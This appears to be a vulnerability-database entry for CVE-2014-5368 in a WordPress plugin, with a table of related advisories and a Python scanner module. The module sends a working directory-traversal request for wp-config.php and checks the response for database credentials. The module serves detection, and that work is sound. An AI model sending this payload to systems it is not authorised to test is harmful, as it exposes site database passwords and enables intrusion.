WordPress Plugin WP Content Source Control - Directory Traversal Detection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2014-5368 | 19 Aug 201400:00 | – | circl | |
| CVE-2014-5368 | 22 Aug 201414:00 | – | cve | |
| CVE-2014-5368 | 22 Aug 201414:00 | – | cvelist | |
| WordPress Plugin WP Content Source Control - 'download.php' Directory Traversal | 19 Aug 201400:00 | – | exploitdb | |
| WordPress Plugin WP Content Source Control - Directory Traversal | 15 Oct 202602:05 | – | nuclei | |
| CVE-2014-5368 | 22 Aug 201414:55 | – | nvd | |
| WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP) | 20 Nov 202000:00 | – | openvas | |
| WordPress Content Source Control Plugin Directory Traversal Vulnerability | 19 Sep 201400:00 | – | openvas | |
| WordPress WP Content Source Control Plugin - Directory Traversal | 19 Aug 201400:00 | – | patchstack | |
| Directory traversal | 22 Aug 201414:55 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A directory traversal vulnerability in the file_get_contents function in downloadfiles/download."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress Plugin WP Content Source Control - Directory Traversal Detection',
'description': 'A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2014', 'wordpress', 'wp-plugin', 'lfi', 'edb', 'seclists', 'wp_content_source_control_project', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2014-5368',
'https://www.exploit-db.com/exploits/39287',
'http://seclists.org/oss-sec/2014/q3/417',
'https://exchange.xforce.ibmcloud.com/vulnerabilities/95374',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2014-5368',
}
def run(self):
r = self.http_request(method="GET", path='/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('DB_NAME', 'DB_PASSWORD',)
if (all(m in body for m in body_all)):
self.set_info(
severity='medium',
reason="WordPress Plugin WP Content Source Control - Directory Traversal detected",
path='/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php',
)
return True
return False
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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 25
EPSS0.18817